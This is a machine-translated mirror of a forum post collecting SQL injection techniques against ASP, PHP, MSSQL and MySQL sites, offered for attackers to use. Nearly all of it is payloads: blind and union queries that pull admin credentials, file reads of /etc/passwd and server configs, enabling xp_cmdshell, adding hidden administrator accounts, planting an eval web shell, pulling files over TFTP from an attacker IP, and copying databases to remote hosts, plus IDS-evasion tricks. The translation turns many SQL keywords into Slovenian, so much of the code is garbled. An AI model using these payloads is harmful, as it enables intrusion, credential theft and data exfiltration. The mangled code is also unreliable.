Ta članek je zrcalni članek strojnega prevajanja, kliknite tukaj za skok na izvirni članek.

Pogled: 20889|Odgovoriti: 2

[Varna komunikacija] SQL Injection Book - ranljivost ASP Injection Full Contact

[Kopiraj povezavo]
Objavljeno na 28. 09. 2015 18:21:41 | | |


MSSQL poizvedbe med bazami podatkov (smrdljiva hrana!) Temno)

Iztisni vsak zadnji kapljico MS SQL

Reference na SQL stavke in objekti zbirke zapisov so podrobno pojasnjeni

O shranjenih postopkih v SQL Serverju

Ustvarite spletno lupino z mssql varnostno kopijo

SQL_Injection napredne uporabe

SQL injekcija med lokacijami (laokai)

Čudna SQL injekcija (AMANL)

Napredno vbrizgavanje SQL v aplikacijah SQL Server

Kako uporabiti SQL injekcijo za prečkanje imenikov

Vodič po tehnikah SQL injekcij (prevajalec: demonalex)

Nekateri napadi na SQL baze podatkov

Tehnika napada z SQL injekcijo (JSW)

SQL_Injection Napredne aplikacije (APACHY)

Nenavadne metode SQL injekcije (Guilin Veteran)

Varnostna kopija lupine

Govorimo o strukturi stavkov php+mysql injection (Heyhehehehe·≯Super· Hej)

Napredno SQL vbrizgavanje z MySQL (angel)

L'injection (My)SQL preko PHP

Oracle SQL jezik

SQL ročna injekcijska enciklopedija

Predpogoji zahtevajo orodja: SQL Query Analyzer in SqlExec Sunx različica
==============================================================================================
1. Določite, ali obstaja točka za vbrizgavanje
; in 1=1 ter 1=2
2. Ugibam, da je ime tabele zgolj administrator, administrator, uporabniško geslo, geslo itd.:
in 0<>(izberi štetje(*) iz *)
in 0<>(izberi count(*) iz admin) — Določi, ali admin tabela obstaja
3. Uganite število računov Če naletite na 0< se vrnite na pravilno stran 1< vrnite stran z napako, da označite, da je število računov 1
in 0<(izberi count(*) iz admin)
in 1<(izberi count(*) iz admin)
4. Ugani ime polja Dodaj ime polja, ki ga zamislimo, v oklepaje len( ).
in 1=(izberi count(*) iz admin, kjer len(*)>0)–
in 1=(izberi count(*) iz admin, kjer len(ime uporabniškega polja)>0)
in 1=(izberi count(*) iz admin, kjer len(_blank>ime polja gesla)>0)
5. Ugani dolžino vsakega polja Ugani, da se dolžina spremeni >0, dokler se ne vrne pravilna stran
in 1=(izberi count(*) iz admin, kjer len(*)>0)
in 1=(izberi count(*) iz admin, kjer je len(ime)>6) napaka
in 1=(izberi count(*) iz admin, kjer len(ime)>5) Pravilna dolžina je 6
in 1=(izberi count(*) iz admin, kjer je len(ime)=6 pravilen
in 1=(izberi count(*) iz admin, kjer je len(password)>11 pravilen
in 1=(izberi count(*) iz admin, kjer je len(password)>12) dolžina napake 12
in 1=(izberi count(*) iz admin, kjer je len(password)=12 pravilen
6. Ugani like
in 1=(izberi count(*) iz admin, kjer left(ime,1)=a) — Ugani prvo številko uporabniškega računa
in 1=(izberi count(*) iz admin, kjer left(ime,2)=ab)—Ugani drugo številko uporabniškega računa
Samo dodaj enega znaka naenkrat, ugibaj dovolj števk, kot si pravkar uganil, in številka računa se bo pojavila
(1) Ugani ime mize

Uporabljeni stavki:
in obstaja (izberi * iz imena tabele)

Na primer:
in obstaja (izberi * iz admina)

Če stran pravilno odmeva, to pomeni, da je ime tabele, ki smo ga tukaj ugibali, pravilno, in če je stran napačna, pomeni, da je ime tabele, ki smo ga tukaj napisali, napačno

, nato spremenite ime tabele in nadaljujete z ugibanjem, dokler ne uganete.

Na splošno so pogosto uporabljena imena tabel admin, manage, user ali postavi it v zagon orodja
(2) Ugani polje

Uporabljeni stavki:
in obstaja (izberite ime polja iz imena tabele)

Na primer:
in obstaja (izberi uporabniško ime iz admin)

Tukaj, če predpostavimo, da je admin tabela tista, ki sem jo pravilno ugibal zgoraj, potem želim ugotoviti, ali polje za uporabniško ime obstaja, moram uporabiti ta stavek, če je stran

Če je obrazni odmev pravilen, to pomeni, da je ime polja, ki smo ga tukaj ugibali, pravilno, in če je stran napačna, potem pomeni, da je ime polja, ki smo ga tukaj napisali, napačno

, nato spremeni ime polja in nadaljuj z ugibanjem, dokler ne uganeš.

Na splošno pogosta imena polj vključujejo uporabniško ime, geslo, user, pass, ime, pass, pwd, usr, psd in druga polja
(3) vrstni red po

vrstni red po je za vsoto števila polj na tej strani, s čimer se pripravi na naslednjo skupno poizvedbo
(4) Union Select

  1. Če podpirate skupno poizvedbo, poiščite prikazni bit http://www.xxx.com/product_show.asp?id=1 in 1=2 union select

1,2,3,4,5,6,7,8,9,10,11
Predpostavimo, da so prikazni biti 5,6. Nato moramo le zamenjati imena polj, ki ustrezajo uporabniškemu imenu in geslu administratorja, s položajem bita prikaza tukaj
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 iz admina je našel ozadje prijave
  2. Če skupna poizvedba ni podprta
Uporabniško ime in geslo skrbnika ni mogoče pridobiti brez skupne poizvedbe – z uporabo Ascii dobesednega dekodiranja
Dva
  Uporabite vrstni red po za oceno števila bitov v tabeli, če pa ne deluje, uporabite union select, da jih razporedite enega za drugim, tukaj predpostavimo 8 bitov
Tri
  Uporabite skupno poizvedbo za določitev prikaznih bitov
Štiri
  Uporabite prikazni bit za iskanje imena baze podatkov, različica baze, 5.0 ali višja se lahko vbrizga.
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

(),0x5c,user(),0x5c,
version()),8
Pet
  Z imenom baze podatkov lahko začnete dobivati shemo imena tabele = sledita HEX vrednost imena baze podatkov in ugibate ime tabele
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+table_name),8
+from+information_schema.columns+where+
table_schema=0x666C6965725F6462617365
Šest
  Analizirano ime tabele določa HEX vrednost administratorjevega imena tabele = ime tabele in ugiba polja v tabeli
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(LOČEN

+column_name),8+
from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572
Sedem
  Ko dobimo polja v administrativni tabeli, poglejmo vsebino polj
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(LOČEN

+uporabniško ime,
0x5f,userpwd),8+from+pub_webmaster
Osem
  Orodje pregleda ozadje: Prijavi se, da naložiš trojanca, potem ko ga najdeš, in če ne najdeš robots.txt datoteke, lahko dostopaš
Devet
  Če ne najdete ozadja, bo geslo MYSQL administratorja razkrito.
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

(user,password),8+from+mysql.user
Deset
  Naključno dostopate do poti in povratna informacija je privzeta stran 404 v IIS6, kar kaže, da je strežnik spletne strani: Windows+IIS6+php+MySql okolje
  c:\\windows\\system32\\\inetsrv\\MetaBase.xml Ta pot lahko pridobi informacije o konfiguraciji spletne strani.
  Konstruktni stavki http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

(0x633A5C5C77696E646F77735C
  5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
Enajst
  Analizirajte kodo in poiščite naslov v ozadju
  V prvem koraku moramo določiti dolžino polj v tabeli
Uporabljene izjave:
in (izberite zgornjo 1 lečo (ime polja) iz imena tabele)>0
Na primer kaj:
in (izberi zgornjo 1 lečo(admin_name) iz administratorja)>0
Stran je prikazana normalno, dolžina polja admin_name je večja od 0, in predložil bom:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
Stran prikazuje napako, ki navaja, da je polje med 0 in 10, dolžina pa je 5 po dihotomiji
Z enako metodo za določanje dolžine polja za administratorjevo geslo dobim dolžino 16
  Korak 2
Zdaj nadaljujmo z drugim korakom, vzamemo določen znak v polju in dobimo ASCII kodo tega znaka, ki se uporablja

Izjava:
in (izberite top 1 asc(mid(ime polja, N,1)) iz imena tabele)>0
Naj si to poved ogledam ločeno, najprej najnotranjejšo srednjo (uporabniško ime, 1,1) funkcijo, ki je prvi znak admin_name polja, N

označuje, da je treba prestreči prvih nekaj znakov,
Nato zunanja funkcija asc(), ki pretvarja znake, prestrežene s srednjo funkcijo, v ASCII kodo, najbolj zunanjo zgornjo eno, predstavlja povratno polje prvega mesta

Torej plošča,
">0" na koncu pomeni primerjavo pretvorjene ASCII kode s to številko in na koncu pridobiti prestrezanje z nenehnim spreminjanjem zadnje vrednosti

Pridobite podrobnosti o tem liku
ASCII koda
Oddaja:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>30
Stran je prikazana normalno, kar pomeni, da je ASCII koda tega znaka večja od 30.
Oddaja:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>90
Stran je prikazana normalno, kar pomeni, da je ASCII koda tega znaka večja od 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)=97
ASCII koda, ki sem jo imel za ta znak, je 97
Primerjajte ASCII tabelo:
Lahko zaključimo, da je prvi znak "a".
Nato bom ocenil ASCII kodo drugega znaka.

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

admin)>90
Stran se prikaže normalno, kar pomeni, da je ASCII koda znaka večja od 90, zadnja vrednost pa se vedno spremeni
Ista metoda je dala geslo administratorja, rezultat pa je bil:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

admin)=52
in 1=(izberi top 1 count(*) iz Admin, kjer Asc(mid(pass,5,1))=51) –
Ta poizvedbena izjava lahko ugane kitajskega uporabnika in _blank> geslo. Preprosto zamenjajte naslednje številke s kitajsko ASSIC kodo

Pretvorite se v like.

grupirati z users.id ima 1=1–www.myhack58.com
Skupina po users.id, users.username, users.password, users.privs ima 1=1–
; Vstavi v uporabnikove vrednosti (666, napadalec, foobar 0xffff )–

UNION IZBERI TOP 1 COLUMN_blank>_NAME IZ INFORMATION_blank>_SCHEMA. STOLPCI Kjer

TABLE_blank>_NAME=logintable-
UNION IZBERI TOP 1 COLUMN_blank>_NAME IZ INFORMATION_blank>_SCHEMA. STOLPCI Kjer

TABLE_blank>_NAME=prijavljivo Kjer COLUMN_blank>_NAME NE V (login_blank>_id)-
UNION IZBERI TOP 1 COLUMN_blank>_NAME IZ INFORMATION_blank>_SCHEMA. STOLPCI Kjer

TABLE_blank>_NAME=prijavljivo Kjer COLUMN_blank>_NAME NI V

(login_blank>_id,login_blank>_name)-
UNION Izberi TOP 1 login_blank>_name IZ logintable-
UNION Izberi TOP 1 geslo IZ logintable, kjer login_blank>_name=Rahul–
Poglejte popravek, ki ga je predvajal _blank> strežnik = napačen SP4 popravek, črna varnostna mreža
in 1=(izberi @@VERSION)–

Poglejte dovoljenja računa za povezavo _blank> baze podatkov in vrne normalno stanje, kar dokazuje, da gre za dovoljenje sistemskega administratorja vloge _blank> strežnika.
in 1=(Izberi IS_blank>_SRVROLEMEMBER(sysadmin))–

Določite, ali _blank> račun v bazi podatkov povezan. (Uporabi SA račun za povezavo in vrni normalno = dokaže, da je povezan račun SA)
in sa=(Izberi System_blank>_user)–
in user_blank>_name()=dbo–
in 0<>(izberi user_blank>_name()–

Poglej, če xp_blank>_cmdshell izbriše
in 1=(Izberi count(*) IZ master.dbo.sysobjects Kjer je xtype = X IN ime = xp_blank>_cmdshell)



xp_blank>_cmdshell je izbrisana, obnovljena in podpira absolutno obnovitev poti
; IZVRŠNI master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell xplog70.dll–
; IZVRŠNI master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
============================== dovoljenje baze podatkov je izpostavljeno fizični poti spletne strani

==========================================================================
1、drop tabela [jm_tmp]; create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000)

null) -- Ustvari tabelo


2、 delete [jm_tmp]; Vstavi [jm_tmp] izvršni master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--

Vstavite imenik strani v polje tabele


3、in (izberi top 1 cast([data] kot nvarchar(4000) char(124) iz [jm_tmp] vrstni red po [data]

desc)=0 '//Izpostavljeno polje


4. Spustite tabelo [jm_tmp] -- izbrišite to tabelo.
da poveljstvo dobi granato
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d:\Druge poti postaje
======================load_file() Pogosto uporabljene občutljive informacije ===========================================
1、 replace(load_file(0×2F6574632F70617377764),0×3c,0×20)

2、zamenjaj(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
Zgornji dve funkciji sta za ogled PHP datoteke, ki v celoti prikazuje kodo. Včasih nekateri znaki niso zamenjani, na primer "<" namesto "space", ki se vrne

Spletna stran. In kode ni mogoče gledati.

3. load_file(char(47)) lahko navede korensko mapo FreeBSD in Sunos sistemov

4. Oglejte si konfiguracijsko datoteko virtualnega gostitelja linux APACHE v /etc/httpd/conf/httpd.conf ali /usr/local/apche/conf/httpd.conf

5. C:\Program Files\Apache Group\Apache\conf\httpd.conf ali C:\apache\conf\httpd.conf za ogled WINDOWS

System Apache datoteka

6. c:/Resin-3.0.14/conf/resin.conf Oglejte si konfiguracijske informacije o datotekah smole na spletni strani, ki jo je razvil jsp.

7. c:/Resin/conf/resin.conf /usr/local/resin/conf/conf/resin.conf za ogled JSP virtualnega gostitelja, konfiguriranega na Linux sistemu

8、d:\APACHE\Apache2\conf\httpd.conf

9、C:\Program Files\mysql\my.ini

10、.. /teme/darkblue_orange/layout.inc.php phpmyadmin eksplodira pot

11. C:\Windows\system32\inetsrv\MetaBase.xml Oglejte si konfiguracijsko datoteko virtualnega gostitelja IIS

12. /usr/local/resin-3.0.22/conf/resin.conf za ogled konfiguracijske datoteke RESIN za 3.0.22

13. /usr/local/resin-pro-3.0.22/conf/resin.conf Enako kot zgoraj

14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtualni gostitelj

15. /etc/sysconfig/iptables je odvisen od politike požarnega zidu

16. /usr/local/app/php5 b/php.ini PHP ekvivalentne nastavitve

17. /etc/my.cnf MYSQL konfiguracijska datoteka

18. /etc/različica Red Hat-a za izdajo Red Hata

19 、C:\mysql\data\mysql\user. MYD obstaja v uporabniškem geslu v sistemu MYSQL

20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 za ogled IP-ja.

21. /usr/local/app/php5 b/php.ini //PHP nastavitve, povezane

22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtualne nastavitve spletne strani

23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\windows\my.ini

25. /etc/issue prikazuje informacije o distribuciji jedra Linux

26、/itd/ftpuser

27. Preverite operacijski dnevnik pod LINUX-om user.bash_history ali .bash_profile

28、/itd/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log
.. /apache/logs/error.log
.. /apache/dnevniki/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/dnevniki/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/dnevniki/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
.. /apache/logs/error.log     
.. /apache/dnevniki/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/dnevniki/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/dnevniki/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
Poskusi sam z obratnim PING eksperimentom
; uporaba master; razglasite @s int; izvršni sp_blank>_oacreate "wscrip{filter}t.shell", @s konec; izvršni odbor

sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –

Dodajte račun
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–

Ustvarite virtualno mapo E-disk:
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–

Atributi dostopa: (z pisanjem v spletno lupino)
declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

Poseben trik _blank> za burst knjižnice: :%5c=\ ali spremeni %5 z / in \ za commit
in 0<>(izberi top 1 poti iz newtable)–

Pridobite ime baze podatkov (od 1 do 5 so ID-ji sistema, ki jih lahko ocenite nad 6)
in 1=(izberi ime iz master.dbo.sysdatabases, kjer dbid=7)–
in 0<>(izberi count(*) iz master.dbo.sysdatabases, kjer sta name>1 in dbid=6)
Pošlji dbid po vrsti = 7,8,9.... Pridobite več _blank> imenih baz podatkov

in 0<>(izberi prvo ime iz bbs.dbo.sysobjects, kjer xtype=U) vdre v tabelo ob predpostavki administratorja
in 0<>(izberite prvo ime iz bbs.dbo.sysobjects, kjer je xtype=u in ime ni v (Admin)).

Druge mize.
in 0<>(select count(*) iz bbs.dbo.sysobjects, kjer xtype=u in name=admin
in uid>(str(id))) Predpostavlja se, da je številčna vrednost UID 18779569 uid=id
in 0<>(izberi prvo ime iz bbs.dbo.syscolumns, kjer id=18779569) dobi polje admin, false

Nastavljeno na user_blank>_id
in 0<>(izberite ime top 1 iz bbs.dbo.syscolumns, kjer id=18779569 in ime ni v
(id,...)) za razkritje drugih področij
in 0<(izberi user_blank>_id iz BBS.dbo.admin kjer je uporabniško ime>1), da dobiš uporabniško ime
S tem lahko dobiš _blank> geslo。。。。。 Predpostavimo, da obstajajo polja, kot so user_blank>_id uporabniško ime, geslo itd

in 0<>(izberi count(*) iz master.dbo.sysdatabases, kjer sta name>1 in dbid=6)
in 0<>(izberite ime top 1 iz bbs.dbo.sysobjects, kjer xtype=U) za pridobitev imena tabele
in 0<>(izberi prvo ime iz bbs.dbo.sysobjects, kjer xtype=you in ime ni v(Address))
in 0<>(select count(*) iz bbs.dbo.sysobjects kjer xtype=u in name=admin in uid>(str(id)))

Določite vrednost id
in 0<>(izberi prvo ime iz BBS.dbo.syscolumns, kjer id=773577794) vsa polja

?id=-1 Union Select 1,2,3,4,5,6,7,8,9,10,11,12,13,* iz admin
?id=-1 Union Select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 iz administratorja (Union,Access je prav tako enostaven za uporabo)

Pridobite pot WEB
; Ustvari tabelo [dbo]. [zamenjava] ([swappass][char](255)); –
in (izberi top 1 swappass iz swapa)=1–
; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec

Mojster.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SISTEM

\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, vrednosti=@test

OUTPUT vstavi v paths(paths) values(@test)–
; uporabi ku1; –
; Create table cmd (str image); – Ustvari tabelo cmd tipa slike
1. Način odstranitve postopka razširitve xp_cmdshell je uporaba naslednje izjave:

če obstaja (izberi * iz dbo.sysobjects kjer id=object_id(N'[dbo].[ xpcmdshell]') in

OBJECTPROPERTY(id,N'IsExtendedProc')=1)
izvršni sp_dropextendedproc N'[dbo]. [xp_cmdshell]'

2. Način dodajanja xp_cmdshell postopka razširitve je uporaba naslednje izjave:

(1) SQL analizator poizvedb

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2) Najprej vnesite %s v možnost Format SqlExec Sunx Version in jih vnesite v možnost CMD

sp_addextendedproc 'xp_cmdshell,'xpsql70.dll'

odstraniti

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell,'xplog70.dll'
Obstajajo xp_blank>_cmdshell testni postopki:
; Izvršni mojster.. xp_blank>_cmdshell dir
; izvršni master.dbo.sp_blank>_addlogin Jiaoniang$; – Dodaj SQL račune
; izvršni master.dbo.sp_blank>_password null,jiaoniang$,1866574; –
; izvršni master.dbo.sp_blank>_addsrvrolemember Jiaoniang$ sistemski administrator; –
; izvršni master.dbo.xp_blank>_cmdshell spletni uporabnik jiaoniang$ 1866574 /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add;–
; izvršni master.dbo.xp_blank>_cmdshell Net LocalGroup Administrators Jiaoniang$ /add; –
Izvršni mojster.. xp_blank>_servicecontrol začetek, načrt za začetek _blank> storitve
Izvršni mojster.. xp_blank>_servicecontrol start, strežnik
; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; Izvršni mojster.. xp_blank>_cmdshell tftp - i youip get file.exe – Naloži datoteke z uporabo TFTP

; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\
; razglasiti @a; množica @a=db_blank>_name(); varnostna kopija baze @a na disk=vaš IP Vaša deljena mapa bak.dat
Če je omejeno, da.
Select * from openrowset(_blank>sqloledb,server; SA; , izberi OK! izvršni odbor

master.dbo.sp_blank>_addlogin hax)

Struktura poizvedb:
Izberi * IZ novic Kjer id=... IN tema=... IN .....
adminand 1=(izberi count(*) iz [user] kjer username=victim in right(left(userpass,01),1)=1)

in userpass <>
izberite 123; –
; uporaba master; –
:a ali ime kot fff%; – Prikazuje uporabnika z imenom ffff.
in 1<>(izberi count(email) iz [uporabnik]); –
; posodobitev [uporabniki] nastavi e-pošto=(izberi prvo ime iz sysobjects, kjer xtype=u in status>0) kjer

ime=ffff; –
; posodobitev [uporabniki] nastavi e-pošto=(izberi zgornji 1 id iz sysobjects, kjer xtype=u in ime=ad) kjer

ime=ffff; –
; posodobitev [uporabniki] nastavi e-pošto=(izberi prvo ime iz sysobjects, kjer xtype=ti in id>581577110)

kjer ime=ffff; –
; posodobitev [uporabniki] nastavi email=(izberi top 1 count(id) iz gesla), kjer ime=ffff; –
; posodobitev [uporabniki] nastavite e-pošto=(izberite zgornjega 1 pwd iz gesla, kjer id=2) kjer ime=ffff; –
; Posodobitev [uporabniki] nastavi e-pošto=(izberi prvo ime iz gesla, kjer id=2) kjer ime=ffff; –
Zgornja izjava pomeni, da pridobimo prvo uporabniško tabelo v _blank> bazi podatkov in vnesemo ime tabele v polje za e-pošto uporabnika ffff.
Z ogledom uporabniškega profila FFFF lahko dobite prvo tabelo, imenovano AD
Nato pridobimo ID te tabele glede na oglas za ime tabele, da dobimo ime druge tabele

vnesi v uporabnikove vrednosti(666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),

char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
Vstavite v uporabnikove vrednosti (667,123,123,0xffff)–
Vstavi v uporabniške vrednosti (123, admin–, geslo, 0xffff)–
; in uporabnik>0
; in (izberi count(*) iz sysobjects)>0
; in (izberi count(*) iz mysysobjects)>0 // za access_blank> bazo podatkov

Naštej ime podatkovne tabele
; Posodobi AAA nastavi aaa=(izberi prvo ime iz sysobjects, kjer xtype=you in status>0); –
Tu se prvo ime tabele posodobi v polje AAA.
Preberi prvo tabelo, drugo tabelo pa lahko bereš takole (dodaj in poimenuj za pogojem<> ime tabele, ki si jo pravkar dobil).
; Posodobi AAA nastavi aaa=(izberi prvo ime iz sysobjects, kjer xtype=ti in status>0 ter

ime<>glasovanje); –
Potem id=1552 in obstaja(izberi * iz aaa, kjer aaa>5)
Preberi drugo tabelo in jo preberi eno za drugo, dokler ne ostane nobene.
Polje za branje izgleda takole:
; posodobi AAA nastavi aaa=(izberi top 1 col_blank>_name(object_blank>_id(ime tabele),1)); –
Potem id=152 in obstaja (izberi * iz aaa, kjer aaa>5) dobi napako in dobi ime polja
; posodobi AAA set aaa=(izberi top 1 col_blank>_name(object_blank>_id(ime tabele),2)); –
Potem id=152 in obstaja (izberi * iz aaa, kjer aaa>5) dobi napako in dobi ime polja

[Pridobite ime podatkovne tabele] [Posodobi vrednost polja na ime tabele in nato preberi vrednost tega polja, da dobiš ime tabele]
Polje Ime tabele za posodobitev=(Izberite prvo ime iz sysObjects, kjer xtype=you in status>0 [ in ime<>

Ime tabele, ki ga dobiš. Poišči enega plus ena]) [kjer pogoj] izberi ime zgornjega 1 iz sysobjects, kjer xtype=ti in

status>0 in ime ni v (tabela1, tabela2,...)
Ustvarjanje računa skrbnika baze podatkov in računu sistemskega skrbnika _blank> _blank> vbrizgavanje ranljivosti preko SQLSERVERJA [Trenutni račun mora biti skupina SYSADMIN]

[Pridobite ime polja podatkovne tabele] [Posodobi vrednost polja na ime polja in nato preberi vrednost tega polja, da dobiš ime polja]
Posodobi polje Ime tabele=(izberi zgornje 1 col_blank>_name(object_blank>_id (ime podatkovne tabele za poizvedbo), stolpec polja

Na primer: 1) [ kjer je pogoj]

Obhod zaznavanja IDS [z uporabo spremenljivk]
; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\

1. Odpri oddaljeno _blank> bazo podatkov
Osnovna skladnja
select * from OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, izberite * iz tabele1 )
Parametri: (1) Ime ponudnika OLEDB
2. Parameter povezovalnega niza je lahko katerikoli port za povezavo, na primer
select * from OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Omrežje=DBMSSOCN; Naslov=192.168.0.1.1.1433; ,

Izberi * iz tabele
3. Kopirajte celotno _blank> bazo podatkov ciljnega gostitelja in vstavite vse oddaljene tabele v lokalno tabelo.

Osnovna sintaksa:
vstavi v OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, izberite * iz tabele1) izberite

* iz tabele2
Ta stavek vrstice kopira vse podatke iz tabele table2 na ciljnem gostitelju v tabelo table1 v oddaljeni _blank> bazi podatkov. Ustrezna popravila v praktični uporabi

Spremenite IP naslov in port povezovalnega niza, da kaže tja, kamor ga potrebujete, na primer:
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Omrežje=DBMSSOCN; Naslov=192.168.0.1.1.1433; ,izberi

* iz tabele1) izberite * iz tabele2
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Omrežje=DBMSSOCN; Naslov=192.168.0.1.1.1433; ,izberi

* iz _blank>_sysdatabases)
Select * from master.dbo.sysdatabases
